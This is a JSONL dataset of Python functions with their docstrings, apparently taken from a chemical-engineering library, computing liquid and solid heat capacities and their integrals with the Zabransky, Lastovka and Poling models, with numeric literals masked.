{"signature": "def Zabransky_quasi_polynomial_integral_over_T(T, Tc, a1, a2, a3, a4, a5, a6):", "body": "term = T - Tc<EOL>logT = log(T)<EOL>Tc2 = Tc*Tc<EOL>Tc3 = Tc2*Tc<EOL>return R*(a3*logT -a1*polylog2(T/Tc) - a2*(-logT + <NUM_LIT:0.5>*log(term*term))<EOL>+ T*(T*(T*a6/(<NUM_LIT>*Tc3) + a5/(<NUM_LIT>*Tc2)) + a4/Tc))<EOL>", "docstring": "r'''Calculates the integral of liquid heat capacity over T using the \n    quasi-polynomial model  developed in [1]_.\n\n    Parameters\n    ----------\n    T : float\n        Temperature [K]\n    a1-a6 : float\n        Coefficients\n\n    Returns\n    -------\n    S : float\n        Difference in entropy from 0 K, [J/mol/K]\n\n    Notes\n    -----\n    The analytical integral was derived with Sympy. It requires the \n    Polylog(2,x) function, which is unimplemented in SciPy. A very accurate \n    numerical approximation was implemented as :obj:`thermo.utils.polylog2`.\n    Relatively slow due to the use of that special function.\n\n    Examples\n    --------\n    >>> S2 = Zabransky_quasi_polynomial_integral_over_T(300, 591.79, -3.12743, \n    ... 0.0857315, 13.7282, 1.28971, 6.42297, 4.10989)\n    >>> S1 = Zabransky_quasi_polynomial_integral_over_T(200, 591.79, -3.12743, \n    ... 0.0857315, 13.7282, 1.28971, 6.42297, 4.10989)\n    >>> S2 - S1\n    59.16997291893654\n\n    References\n    ----------\n    .. [1] Zabransky, M., V. Ruzicka Jr, V. Majer, and Eugene S. Domalski.\n       Heat Capacity of Liquids: Critical Review and Recommended Values.\n       2 Volume Set. Washington, D.C.: Amer Inst of Physics, 1996.", "id": "f15792:m13"}
{"signature": "def Zabransky_cubic(T, a1, a2, a3, a4):", "body": "T = T/<NUM_LIT><EOL>return R*(((a4*T + a3)*T + a2)*T + a1)<EOL>", "docstring": "r'''Calculates liquid heat capacity using the model developed in [1]_.\n\n    .. math::\n        \\frac{C}{R}=\\sum_{j=0}^3 A_{j+1} \\left(\\frac{T}{100}\\right)^j\n\n    Parameters\n    ----------\n    T : float\n        Temperature [K]\n    a1-a4 : float\n        Coefficients\n\n    Returns\n    -------\n    Cp : float\n        Liquid heat capacity, [J/mol/K]\n\n    Notes\n    -----\n    Most often form used in [1]_.\n    Analytical integrals are available for this expression.\n\n    Examples\n    --------\n    >>> Zabransky_cubic(298.15, 20.9634, -10.1344, 2.8253, -0.256738)\n    75.31462591538556\n\n    References\n    ----------\n    .. [1] Zabransky, M., V. Ruzicka Jr, V. Majer, and Eugene S. Domalski.\n       Heat Capacity of Liquids: Critical Review and Recommended Values.\n       2 Volume Set. Washington, D.C.: Amer Inst of Physics, 1996.", "id": "f15792:m14"}
{"signature": "def Zabransky_cubic_integral(T, a1, a2, a3, a4):", "body": "T = T/<NUM_LIT><EOL>return <NUM_LIT:100>*R*T*(T*(T*(T*a4*<NUM_LIT> + a3/<NUM_LIT>) + a2*<NUM_LIT:0.5>) + a1)<EOL>", "docstring": "r'''Calculates the integral of liquid heat capacity using the model \n    developed in [1]_.\n\n    Parameters\n    ----------\n    T : float\n        Temperature [K]\n    a1-a4 : float\n        Coefficients\n\n    Returns\n    -------\n    H : float\n        Difference in enthalpy from 0 K, [J/mol]\n\n    Notes\n    -----\n    The analytical integral was derived with Sympy; it is a simple polynomial.\n\n    Examples\n    --------\n    >>> Zabransky_cubic_integral(298.15, 20.9634, -10.1344, 2.8253, -0.256738)\n    31051.679845520586\n\n    References\n    ----------\n    .. [1] Zabransky, M., V. Ruzicka Jr, V. Majer, and Eugene S. Domalski.\n       Heat Capacity of Liquids: Critical Review and Recommended Values.\n       2 Volume Set. Washington, D.C.: Amer Inst of Physics, 1996.", "id": "f15792:m15"}
{"signature": "def Zabransky_cubic_integral_over_T(T, a1, a2, a3, a4):", "body": "T = T/<NUM_LIT><EOL>return R*(T*(T*(T*a4/<NUM_LIT:3> + a3/<NUM_LIT:2>) + a2) + a1*log(T))<EOL>", "docstring": "r'''Calculates the integral of liquid heat capacity over T using the model \n    developed in [1]_.\n\n    Parameters\n    ----------\n    T : float\n        Temperature [K]\n    a1-a4 : float\n        Coefficients\n\n    Returns\n    -------\n    S : float\n        Difference in entropy from 0 K, [J/mol/K]\n\n    Notes\n    -----\n    The analytical integral was derived with Sympy; it is a simple polynomial,\n    plus a logarithm\n\n    Examples\n    --------\n    >>> Zabransky_cubic_integral_over_T(298.15, 20.9634, -10.1344, 2.8253, \n    ... -0.256738)\n    24.73245695987246\n\n    References\n    ----------\n    .. [1] Zabransky, M., V. Ruzicka Jr, V. Majer, and Eugene S. Domalski.\n       Heat Capacity of Liquids: Critical Review and Recommended Values.\n       2 Volume Set. Washington, D.C.: Amer Inst of Physics, 1996.", "id": "f15792:m16"}
{"signature": "def Lastovka_solid(T, similarity_variable):", "body": "A1 = <NUM_LIT><EOL>A2 = <NUM_LIT><EOL>theta = <NUM_LIT><EOL>C1 = <NUM_LIT><EOL>C2 = -<NUM_LIT><EOL>D1 = <NUM_LIT><EOL>D2 = -<NUM_LIT><EOL>Cp = (<NUM_LIT:3>*(A1*similarity_variable + A2*similarity_variable**<NUM_LIT:2>)*R*(theta/T<EOL>)**<NUM_LIT:2>*exp(theta/T)/(exp(theta/T)-<NUM_LIT:1>)**<NUM_LIT:2><EOL>+ (C1*similarity_variable + C2*similarity_variable**<NUM_LIT:2>)*T<EOL>+ (D1*similarity_variable + D2*similarity_variable**<NUM_LIT:2>)*T**<NUM_LIT:2>)<EOL>Cp = Cp*<NUM_LIT:1000> <EOL>return Cp<EOL>", "docstring": "r'''Calculate solid constant-pressure heat capacitiy with the similarity\n    variable concept and method as shown in [1]_.\n\n    .. math::\n        C_p = 3(A_1\\alpha + A_2\\alpha^2)R\\left(\\frac{\\theta}{T}\\right)^2\n        \\frac{\\exp(\\theta/T)}{[\\exp(\\theta/T)-1]^2}\n        + (C_1\\alpha + C_2\\alpha^2)T + (D_1\\alpha + D_2\\alpha^2)T^2\n\n    Parameters\n    ----------\n    T : float\n        Temperature of solid [K]\n    similarity_variable : float\n        similarity variable as defined in [1]_, [mol/g]\n\n    Returns\n    -------\n    Cps : float\n        Solid constant-pressure heat capacitiy, [J/kg/K]\n\n    Notes\n    -----\n    Many restrictions on its use. Trained on data with MW from 12.24 g/mol\n    to 402.4 g/mol, C mass fractions from 61.3% to 95.2%,\n    H mass fractions from 3.73% to 15.2%, N mass fractions from 0 to 15.4%,\n    O mass fractions from 0 to 18.8%, and S mass fractions from 0 to 29.6%.\n    Recommended for organic compounds with low mass fractions of hetero-atoms\n    and especially when molar mass exceeds 200 g/mol. This model does not show\n    and effects of phase transition but should not be used passed the triple\n    point.\n\n    Original model is in terms of J/g/K. Note that the model s for predicting\n    mass heat capacity, not molar heat capacity like most other methods!\n\n    A1 = 0.013183; A2 = 0.249381; theta = 151.8675; C1 = 0.026526;\n    C2 = -0.024942; D1 = 0.000025; D2 = -0.000123.\n\n    Examples\n    --------\n    >>> Lastovka_solid(300, 0.2139)\n    1682.063629222013\n\n    References\n    ----------\n    .. [1] La\u0161tovka, V\u00e1clav, Michal Fulem, Mildred Becerra, and John M. Shaw.\n       \"A Similarity Variable for Estimating the Heat Capacity of Solid Organic\n       Compounds: Part II. Application: Heat Capacity Calculation for\n       Ill-Defined Organic Solids.\" Fluid Phase Equilibria 268, no. 1-2\n       (June 25, 2008): 134-41. doi:10.1016/j.fluid.2008.03.018.", "id": "f15792:m17"}
{"signature": "def Lastovka_solid_integral(T, similarity_variable):", "body": "A1 = <NUM_LIT><EOL>A2 = <NUM_LIT><EOL>theta = <NUM_LIT><EOL>C1 = <NUM_LIT><EOL>C2 = -<NUM_LIT><EOL>D1 = <NUM_LIT><EOL>D2 = -<NUM_LIT><EOL>similarity_variable2 = similarity_variable*similarity_variable<EOL>return (T*T*T*(<NUM_LIT>*D1*similarity_variable/<NUM_LIT> <EOL>+ <NUM_LIT>*D2*similarity_variable2/<NUM_LIT>) + T*T*(<NUM_LIT>*C1*similarity_variable <EOL>+ <NUM_LIT>*C2*similarity_variable2)<EOL>+ (<NUM_LIT>*A1*R*similarity_variable*theta<EOL>+ <NUM_LIT>*A2*R*similarity_variable2*theta)/(exp(theta/T) - <NUM_LIT:1.>))<EOL>", "docstring": "r'''Integrates solid constant-pressure heat capacitiy with the similarity\n    variable concept and method as shown in [1]_.\n\n    Uses a explicit form as derived with Sympy.\n\n    Parameters\n    ----------\n    T : float\n        Temperature of solid [K]\n    similarity_variable : float\n        similarity variable as defined in [1]_, [mol/g]\n\n    Returns\n    -------\n    H : float\n        Difference in enthalpy from 0 K, [J/kg]\n\n    Notes\n    -----\n    Original model is in terms of J/g/K. Note that the model is for predicting\n    mass heat capacity, not molar heat capacity like most other methods!\n\n    See Also\n    --------\n    Lastovka_solid\n\n    Examples\n    --------\n    >>> Lastovka_solid_integral(300, 0.2139)\n    283246.1242170376\n\n    References\n    ----------\n    .. [1] La\u0161tovka, V\u00e1clav, Michal Fulem, Mildred Becerra, and John M. Shaw.\n       \"A Similarity Variable for Estimating the Heat Capacity of Solid Organic\n       Compounds: Part II. Application: Heat Capacity Calculation for\n       Ill-Defined Organic Solids.\" Fluid Phase Equilibria 268, no. 1-2\n       (June 25, 2008): 134-41. doi:10.1016/j.fluid.2008.03.018.", "id": "f15792:m18"}
{"signature": "def Lastovka_solid_integral_over_T(T, similarity_variable):", "body": "A1 = <NUM_LIT><EOL>A2 = <NUM_LIT><EOL>theta = <NUM_LIT><EOL>C1 = <NUM_LIT><EOL>C2 = -<NUM_LIT><EOL>D1 = <NUM_LIT><EOL>D2 = -<NUM_LIT><EOL>sim2 = similarity_variable*similarity_variable<EOL>exp_theta_T = exp(theta/T)<EOL>return (-<NUM_LIT>*R*similarity_variable*(A1 + A2*similarity_variable)*log(exp_theta_T - <NUM_LIT:1.>) <EOL>+ T**<NUM_LIT:2>*(<NUM_LIT>*D1*similarity_variable + <NUM_LIT>*D2*sim2)<EOL>+ T*(<NUM_LIT>*C1*similarity_variable + <NUM_LIT>*C2*sim2)<EOL>+ (<NUM_LIT>*A1*R*similarity_variable*theta <EOL>+ <NUM_LIT>*A2*R*sim2*theta)/(T*exp_theta_T - T) <EOL>+ (<NUM_LIT>*A1*R*similarity_variable*theta <EOL>+ <NUM_LIT>*A2*R*sim2*theta)/T)<EOL>", "docstring": "r'''Integrates over T solid constant-pressure heat capacitiy with the \n    similarity variable concept and method as shown in [1]_.\n\n    Uses a explicit form as derived with Sympy.\n\n    Parameters\n    ----------\n    T : float\n        Temperature of solid [K]\n    similarity_variable : float\n        similarity variable as defined in [1]_, [mol/g]\n\n    Returns\n    -------\n    S : float\n        Difference in entropy from 0 K, [J/kg/K]\n\n    Notes\n    -----\n    Original model is in terms of J/g/K. Note that the model is for predicting\n    mass heat capacity, not molar heat capacity like most other methods!\n\n    See Also\n    --------\n    Lastovka_solid\n\n    Examples\n    --------\n    >>> Lastovka_solid_integral_over_T(300, 0.2139)\n    1947.553552666818\n\n    References\n    ----------\n    .. [1] La\u0161tovka, V\u00e1clav, Michal Fulem, Mildred Becerra, and John M. Shaw.\n       \"A Similarity Variable for Estimating the Heat Capacity of Solid Organic\n       Compounds: Part II. Application: Heat Capacity Calculation for\n       Ill-Defined Organic Solids.\" Fluid Phase Equilibria 268, no. 1-2\n       (June 25, 2008): 134-41. doi:10.1016/j.fluid.2008.03.018.", "id": "f15792:m19"}
{"signature": "def load_all_methods(self):", "body": "methods = []<EOL>Tmins, Tmaxs = [], []<EOL>if self.CASRN in TRC_gas_data.index:<EOL><INDENT>methods.append(TRCIG)<EOL>_, self.TRCIG_Tmin, self.TRCIG_Tmax, a0, a1, a2, a3, a4, a5, a6, a7, _, _, _ = _TRC_gas_data_values[TRC_gas_data.index.get_loc(self.CASRN)].tolist()<EOL>self.TRCIG_coefs = [a0, a1, a2, a3, a4, a5, a6, a7]<EOL>Tmins.append(self.TRCIG_Tmin); Tmaxs.append(self.TRCIG_Tmax)<EOL><DEDENT>if self.CASRN in Poling_data.index and not np.isnan(Poling_data.at[self.CASRN, '<STR_LIT>']):<EOL><INDENT>_, self.POLING_Tmin, self.POLING_Tmax, a0, a1, a2, a3, a4, Cpg, Cpl = _Poling_data_values[Poling_data.index.get_loc(self.CASRN)].tolist()<EOL>methods.append(POLING)<EOL>self.POLING_coefs = [a0, a1, a2, a3, a4]<EOL>Tmins.append(self.POLING_Tmin); Tmaxs.append(self.POLING_Tmax)<EOL><DEDENT>if self.CASRN in Poling_data.index and not np.isnan(Poling_data.at[self.CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(POLING_CONST)<EOL>self.POLING_T = <NUM_LIT><EOL>self.POLING_constant = float(Poling_data.at[self.CASRN, '<STR_LIT>'])<EOL><DEDENT>if self.CASRN in CRC_standard_data.index and not np.isnan(CRC_standard_data.at[self.CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(CRCSTD)<EOL>self.CRCSTD_T = <NUM_LIT><EOL>self.CRCSTD_constant = float(CRC_standard_data.at[self.CASRN, '<STR_LIT>'])<EOL><DEDENT>if self.CASRN in _VDISaturationDict:<EOL><INDENT>methods.append(VDI_TABULAR)<EOL>Ts, props = VDI_tabular_data(self.CASRN, '<STR_LIT>')<EOL>self.VDI_Tmin = Ts[<NUM_LIT:0>]<EOL>self.VDI_Tmax = Ts[-<NUM_LIT:1>]<EOL>self.tabular_data[VDI_TABULAR] = (Ts, props)<EOL>Tmins.append(self.VDI_Tmin); Tmaxs.append(self.VDI_Tmax)<EOL><DEDENT>if has_CoolProp and self.CASRN in coolprop_dict:<EOL><INDENT>methods.append(COOLPROP)<EOL>self.CP_f = coolprop_fluids[self.CASRN]<EOL>Tmins.append(self.CP_f.Tt); Tmaxs.append(self.CP_f.Tc)<EOL><DEDENT>if self.MW and self.similarity_variable:<EOL><INDENT>methods.append(LASTOVKA_SHAW)<EOL><DEDENT>self.all_methods = set(methods)<EOL>if Tmins and Tmaxs:<EOL><INDENT>self.Tmin, self.Tmax = min(Tmins), max(Tmaxs)<EOL><DEDENT>", "docstring": "r'''Method which picks out coefficients for the specified chemical\n        from the various dictionaries and DataFrames storing it. All data is\n        stored as attributes. This method also sets :obj:`Tmin`, :obj:`Tmax`,\n        and :obj:`all_methods` as a set of methods for which the data exists for.\n\n        Called on initialization only. See the source code for the variables at\n        which the coefficients are stored. The coefficients can safely be\n        altered once the class is initialized. This method can be called again\n        to reset the parameters.", "id": "f15792:c0:m1"}
{"signature": "def calculate(self, T, method):", "body": "if method == TRCIG:<EOL><INDENT>Cp = TRCCp(T, *self.TRCIG_coefs)<EOL><DEDENT>elif method == COOLPROP:<EOL><INDENT>Cp = PropsSI('<STR_LIT>', '<STR_LIT:T>', T,'<STR_LIT:P>', <NUM_LIT>, self.CASRN)<EOL><DEDENT>elif method == POLING:<EOL><INDENT>Cp = R*(self.POLING_coefs[<NUM_LIT:0>] + self.POLING_coefs[<NUM_LIT:1>]*T<EOL>+ self.POLING_coefs[<NUM_LIT:2>]*T**<NUM_LIT:2> + self.POLING_coefs[<NUM_LIT:3>]*T**<NUM_LIT:3><EOL>+ self.POLING_coefs[<NUM_LIT:4>]*T**<NUM_LIT:4>)<EOL><DEDENT>elif method == POLING_CONST:<EOL><INDENT>Cp = self.POLING_constant<EOL><DEDENT>elif method == CRCSTD:<EOL><INDENT>Cp = self.CRCSTD_constant<EOL><DEDENT>elif method == LASTOVKA_SHAW:<EOL><INDENT>Cp = Lastovka_Shaw(T, self.similarity_variable)<EOL>Cp = property_mass_to_molar(Cp, self.MW)<EOL><DEDENT>elif method in self.tabular_data:<EOL><INDENT>Cp = self.interpolate(T, method)<EOL><DEDENT>return Cp<EOL>", "docstring": "r'''Method to calculate surface tension of a liquid at temperature `T`\n        with a given method.\n\n        This method has no exception handling; see `T_dependent_property`\n        for that.\n\n        Parameters\n        ----------\n        T : float\n            Temperature at which to calculate heat capacity, [K]\n        method : str\n            Method name to use\n\n        Returns\n        -------\n        Cp : float\n            Calculated heat capacity, [J/mol/K]", "id": "f15792:c0:m2"}
{"signature": "def calculate_integral(self, T1, T2, method):", "body": "if method == TRCIG:<EOL><INDENT>H2 = TRCCp_integral(T2, *self.TRCIG_coefs)<EOL>H1 = TRCCp_integral(T1, *self.TRCIG_coefs)<EOL>return H2 - H1<EOL><DEDENT>elif method == POLING:<EOL><INDENT>A, B, C, D, E = self.POLING_coefs<EOL>H2 = (((((<NUM_LIT>*E)*T2 + <NUM_LIT>*D)*T2 + C/<NUM_LIT>)*T2 + <NUM_LIT:0.5>*B)*T2 + A)*T2<EOL>H1 = (((((<NUM_LIT>*E)*T1 + <NUM_LIT>*D)*T1 + C/<NUM_LIT>)*T1 + <NUM_LIT:0.5>*B)*T1 + A)*T1<EOL>return R*(H2 - H1)<EOL><DEDENT>elif method == POLING_CONST:<EOL><INDENT>return (T2 - T1)*self.POLING_constant<EOL><DEDENT>elif method == CRCSTD:<EOL><INDENT>return (T2 - T1)*self.CRCSTD_constant<EOL><DEDENT>elif method == LASTOVKA_SHAW:<EOL><INDENT>dH = (Lastovka_Shaw_integral(T2, self.similarity_variable)<EOL>- Lastovka_Shaw_integral(T1, self.similarity_variable))<EOL>return property_mass_to_molar(dH, self.MW)<EOL><DEDENT>elif method in self.tabular_data or method == COOLPROP:<EOL><INDENT>return float(quad(self.calculate, T1, T2, args=(method))[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Method to calculate the integral of a property with respect to\n        temperature, using a specified method. Implements the analytical\n        integrals of all available methods except for tabular data.\n\n        Parameters\n        ----------\n        T1 : float\n            Lower limit of integration, [K]\n        T2 : float\n            Upper limit of integration, [K]\n        method : str\n            Method for which to find the integral\n\n        Returns\n        -------\n        integral : float\n            Calculated integral of the property over the given range, \n            [`units*K`]", "id": "f15792:c0:m4"}
{"signature": "def calculate_integral_over_T(self, T1, T2, method):", "body": "if method == TRCIG:<EOL><INDENT>S2 = TRCCp_integral_over_T(T2, *self.TRCIG_coefs)<EOL>S1 = TRCCp_integral_over_T(T1, *self.TRCIG_coefs)<EOL>return S2 - S1<EOL><DEDENT>elif method == CRCSTD:<EOL><INDENT>return self.CRCSTD_constant*log(T2/T1)<EOL><DEDENT>elif method == POLING_CONST:<EOL><INDENT>return self.POLING_constant*log(T2/T1)<EOL><DEDENT>elif method == POLING:<EOL><INDENT>A, B, C, D, E = self.POLING_coefs<EOL>S2 = ((((<NUM_LIT>*E)*T2 + D/<NUM_LIT>)*T2 + <NUM_LIT:0.5>*C)*T2 + B)*T2 <EOL>S1 = ((((<NUM_LIT>*E)*T1 + D/<NUM_LIT>)*T1 + <NUM_LIT:0.5>*C)*T1 + B)*T1<EOL>return R*(S2-S1 + A*log(T2/T1))<EOL><DEDENT>elif method == LASTOVKA_SHAW:<EOL><INDENT>dS = (Lastovka_Shaw_integral_over_T(T2, self.similarity_variable)<EOL>- Lastovka_Shaw_integral_over_T(T1, self.similarity_variable))<EOL>return property_mass_to_molar(dS, self.MW)<EOL><DEDENT>elif method in self.tabular_data or method == COOLPROP:<EOL><INDENT>return float(quad(lambda T: self.calculate(T, method)/T, T1, T2)[<NUM_LIT:0>])<EOL><DEDENT>else:<EOL><INDENT>raise Exception('<STR_LIT>')<EOL><DEDENT>", "docstring": "r'''Method to calculate the integral of a property over temperature\n        with respect to temperature, using a specified method. Implements the \n        analytical integrals of all available methods except for tabular data.\n\n        Parameters\n        ----------\n        T1 : float\n            Lower limit of integration, [K]\n        T2 : float\n            Upper limit of integration, [K]\n        method : str\n            Method for which to find the integral\n\n        Returns\n        -------\n        integral : float\n            Calculated integral of the property over the given range, \n            [`units`]", "id": "f15792:c0:m5"}
{"signature": "def calculate(self, T):", "body": "return Zabransky_quasi_polynomial(T, self.Tc, *self.coeffs)<EOL>", "docstring": "r'''Method to actually calculate heat capacity as a function of \n        temperature.\n\n        Parameters\n        ----------\n        T : float\n            Temperature, [K]\n\n        Returns\n        -------\n        Cp : float\n            Liquid heat capacity as T, [J/mol/K]", "id": "f15792:c1:m1"}
{"signature": "def calculate_integral(self, T1, T2):", "body": "return (Zabransky_quasi_polynomial_integral(T2, self.Tc, *self.coeffs)<EOL>- Zabransky_quasi_polynomial_integral(T1, self.Tc, *self.coeffs))<EOL>", "docstring": "r'''Method to compute the enthalpy integral of heat capacity from \n         `T1` to `T2`.\n\n        Parameters\n        ----------\n        T1 : float\n            Initial temperature, [K]\n        T2 : float\n            Final temperature, [K]\n\n        Returns\n        -------\n        dH : float\n            Enthalpy difference between `T1` and `T2`, [J/mol]", "id": "f15792:c1:m2"}
{"signature": "def calculate_integral_over_T(self, T1, T2):", "body": "return (Zabransky_quasi_polynomial_integral_over_T(T2, self.Tc, *self.coeffs)<EOL>- Zabransky_quasi_polynomial_integral_over_T(T1, self.Tc, *self.coeffs))<EOL>", "docstring": "r'''Method to compute the entropy integral of heat capacity from \n         `T1` to `T2`.\n\n        Parameters\n        ----------\n        T1 : float\n            Initial temperature, [K]\n        T2 : float\n            Final temperature, [K]\n\n        Returns\n        -------\n        dS : float\n            Entropy difference between `T1` and `T2`, [J/mol/K]", "id": "f15792:c1:m3"}
{"signature": "def add_coeffs(self, Tmin, Tmax, coeffs):", "body": "self.n += <NUM_LIT:1><EOL>if not self.Ts:<EOL><INDENT>self.Ts = [Tmin, Tmax]<EOL>self.coeff_sets = [coeffs]<EOL><DEDENT>else:<EOL><INDENT>for ind, T in enumerate(self.Ts):<EOL><INDENT>if Tmin < T:<EOL><INDENT>self.Ts.insert(ind, Tmin) <EOL>self.coeff_sets.insert(ind, coeffs)<EOL>return<EOL><DEDENT><DEDENT>self.Ts.append(Tmax)<EOL>self.coeff_sets.append(coeffs)<EOL><DEDENT>", "docstring": "Called internally during the parsing of the Zabransky database, to\n        add coefficients as they are read one per line", "id": "f15792:c2:m1"}
{"signature": "def _coeff_ind_from_T(self, T):", "body": "<EOL>if self.n == <NUM_LIT:1>:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>for i in range(self.n):<EOL><INDENT>if T <= self.Ts[i+<NUM_LIT:1>]:<EOL><INDENT>return i<EOL><DEDENT><DEDENT>return self.n - <NUM_LIT:1><EOL>", "docstring": "Determines the index at which the coefficients for the current\n        temperature are stored in `coeff_sets`.", "id": "f15792:c2:m2"}
{"signature": "def calculate(self, T):", "body": "return Zabransky_cubic(T, *self.coeff_sets[self._coeff_ind_from_T(T)])<EOL>", "docstring": "r'''Method to actually calculate heat capacity as a function of \n        temperature.\n\n        Parameters\n        ----------\n        T : float\n            Temperature, [K]\n\n        Returns\n        -------\n        Cp : float\n            Liquid heat capacity as T, [J/mol/K]", "id": "f15792:c2:m3"}
{"signature": "def calculate_integral(self, T1, T2):", "body": "<EOL>if T2 < T1:<EOL><INDENT>flipped = True<EOL>T1, T2 = T2, T1<EOL><DEDENT>else:<EOL><INDENT>flipped = False<EOL><DEDENT>if self.n == <NUM_LIT:1>:<EOL><INDENT>dH = (Zabransky_cubic_integral(T2, *self.coeff_sets[<NUM_LIT:0>])<EOL>- Zabransky_cubic_integral(T1, *self.coeff_sets[<NUM_LIT:0>]))<EOL><DEDENT>else:<EOL><INDENT>ind_T1, ind_T2 = self._coeff_ind_from_T(T1), self._coeff_ind_from_T(T2)<EOL>if ind_T1 == ind_T2:<EOL><INDENT>dH = (Zabransky_cubic_integral(T2, *self.coeff_sets[ind_T2])<EOL>- Zabransky_cubic_integral(T1, *self.coeff_sets[ind_T1]))<EOL><DEDENT>else:<EOL><INDENT>dH = (Zabransky_cubic_integral(self.Ts[ind_T1], *self.coeff_sets[ind_T1])<EOL>- Zabransky_cubic_integral(T1, *self.coeff_sets[ind_T1]))<EOL>for i in range(ind_T1, ind_T2):<EOL><INDENT>diff =(Zabransky_cubic_integral(self.Ts[i+<NUM_LIT:1>], *self.coeff_sets[i])<EOL>- Zabransky_cubic_integral(self.Ts[i], *self.coeff_sets[i]))<EOL>dH += diff<EOL><DEDENT>end = (Zabransky_cubic_integral(T2, *self.coeff_sets[ind_T2])<EOL>- Zabransky_cubic_integral(self.Ts[ind_T2], *self.coeff_sets[ind_T2]))<EOL>dH += end<EOL><DEDENT><DEDENT>return -dH if flipped else dH<EOL>", "docstring": "r'''Method to compute the enthalpy integral of heat capacity from \n        `T1` to `T2`. Analytically integrates across the piecewise spline\n        as necessary.\n\n        Parameters\n        ----------\n        T1 : float\n            Initial temperature, [K]\n        T2 : float\n            Final temperature, [K]\n\n        Returns\n        -------\n        dS : float\n            Enthalpy difference between `T1` and `T2`, [J/mol/K]", "id": "f15792:c2:m4"}
{"signature": "def calculate_integral_over_T(self, T1, T2):", "body": "<EOL>if T2 < T1:<EOL><INDENT>flipped = True<EOL>T1, T2 = T2, T1<EOL><DEDENT>else:<EOL><INDENT>flipped = False<EOL><DEDENT>if self.n == <NUM_LIT:1>:<EOL><INDENT>dS = (Zabransky_cubic_integral_over_T(T2, *self.coeff_sets[<NUM_LIT:0>])<EOL>- Zabransky_cubic_integral_over_T(T1, *self.coeff_sets[<NUM_LIT:0>]))<EOL><DEDENT>else:<EOL><INDENT>ind_T1, ind_T2 = self._coeff_ind_from_T(T1), self._coeff_ind_from_T(T2)<EOL>if ind_T1 == ind_T2:<EOL><INDENT>dS = (Zabransky_cubic_integral_over_T(T2, *self.coeff_sets[ind_T2])<EOL>- Zabransky_cubic_integral_over_T(T1, *self.coeff_sets[ind_T1]))<EOL><DEDENT>else:<EOL><INDENT>dS = (Zabransky_cubic_integral_over_T(self.Ts[ind_T1], *self.coeff_sets[ind_T1])<EOL>- Zabransky_cubic_integral_over_T(T1, *self.coeff_sets[ind_T1]))<EOL>for i in range(ind_T1, ind_T2):<EOL><INDENT>diff =(Zabransky_cubic_integral_over_T(self.Ts[i+<NUM_LIT:1>], *self.coeff_sets[i])<EOL>- Zabransky_cubic_integral_over_T(self.Ts[i], *self.coeff_sets[i]))<EOL>dS += diff<EOL><DEDENT>end = (Zabransky_cubic_integral_over_T(T2, *self.coeff_sets[ind_T2])<EOL>- Zabransky_cubic_integral_over_T(self.Ts[ind_T2], *self.coeff_sets[ind_T2]))<EOL>dS += end<EOL><DEDENT><DEDENT>return -dS if flipped else dS<EOL>", "docstring": "r'''Method to compute the entropy integral of heat capacity from \n        `T1` to `T2`. Analytically integrates across the piecewise spline\n        as necessary.\n\n        Parameters\n        ----------\n        T1 : float\n            Initial temperature, [K]\n        T2 : float\n            Final temperature, [K]\n\n        Returns\n        -------\n        dS : float\n            Entropy difference between `T1` and `T2`, [J/mol/K]", "id": "f15792:c2:m5"}
{"signature": "def load_all_methods(self):", "body": "methods = []<EOL>Tmins, Tmaxs = [], []<EOL>if self.CASRN in zabransky_dict_const_s:<EOL><INDENT>methods.append(ZABRANSKY_SPLINE)<EOL>self.Zabransky_spline = zabransky_dict_const_s[self.CASRN]<EOL><DEDENT>if self.CASRN in zabransky_dict_const_p:<EOL><INDENT>methods.append(ZABRANSKY_QUASIPOLYNOMIAL)<EOL>self.Zabransky_quasipolynomial = zabransky_dict_const_p[self.CASRN]<EOL><DEDENT>if self.CASRN in zabransky_dict_iso_s:<EOL><INDENT>methods.append(ZABRANSKY_SPLINE_C)<EOL>self.Zabransky_spline_iso = zabransky_dict_iso_s[self.CASRN]<EOL><DEDENT>if self.CASRN in zabransky_dict_iso_p:<EOL><INDENT>methods.append(ZABRANSKY_QUASIPOLYNOMIAL_C)<EOL>self.Zabransky_quasipolynomial_iso = zabransky_dict_iso_p[self.CASRN]<EOL><DEDENT>if self.CASRN in Poling_data.index and not np.isnan(Poling_data.at[self.CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(POLING_CONST)<EOL>self.POLING_T = <NUM_LIT><EOL>self.POLING_constant = float(Poling_data.at[self.CASRN, '<STR_LIT>'])<EOL><DEDENT>if self.CASRN in CRC_standard_data.index and not np.isnan(CRC_standard_data.at[self.CASRN, '<STR_LIT>']):<EOL><INDENT>methods.append(CRCSTD)<EOL>self.CRCSTD_T = <NUM_LIT><EOL>self.CRCSTD_constant = float(CRC_standard_data.at[self.CASRN, '<STR_LIT>'])<EOL><DEDENT>if self.CASRN in zabransky_dict_sat_s:<EOL><INDENT>methods.append(ZABRANSKY_SPLINE_SAT)<EOL>self.Zabransky_spline_sat = zabransky_dict_sat_s[self.CASRN]<EOL><DEDENT>if self.CASRN in zabransky_dict_sat_p:<EOL><INDENT>methods.append(ZABRANSKY_QUASIPOLYNOMIAL_SAT)<EOL>self.Zabransky_quasipolynomial_sat = zabransky_dict_sat_p[self.CASRN]<EOL><DEDENT>if self.CASRN in _VDISaturationDict:<EOL><INDENT>methods.append(VDI_TABULAR)<EOL>Ts, props = VDI_tabular_data(self.CASRN, '<STR_LIT>')<EOL>self.VDI_Tmin = Ts[<NUM_LIT:0>]<EOL>self.VDI_Tmax = Ts[-<NUM_LIT:1>]<EOL>self.tabular_data[VDI_TABULAR] = (Ts, props)<EOL>Tmins.append(self.VDI_Tmin); Tmaxs.append(self.VDI_Tmax)<EOL><DEDENT>if self.Tc and self.omega:<EOL><INDENT>methods.extend([ROWLINSON_POLING, ROWLINSON_BONDI])<EOL><DEDENT>if has_CoolProp and self.CASRN in coolprop_dict:<EOL><INDENT>methods.append(COOLPROP)<EOL>self.CP_f = coolprop_fluids[self.CASRN]<EOL>Tmins.append(self.CP_f.Tt); Tmaxs.append(self.CP_f.Tc)<EOL><DEDENT>if self.MW and self.similarity_variable:<EOL><INDENT>methods.append(DADGOSTAR_SHAW)<EOL><DEDENT>self.all_methods = set(methods)<EOL>if Tmins and Tmaxs:<EOL><INDENT>self.Tmin, self.Tmax = min(Tmins), max(Tmaxs)<EOL><DEDENT>", "docstring": "r'''Method 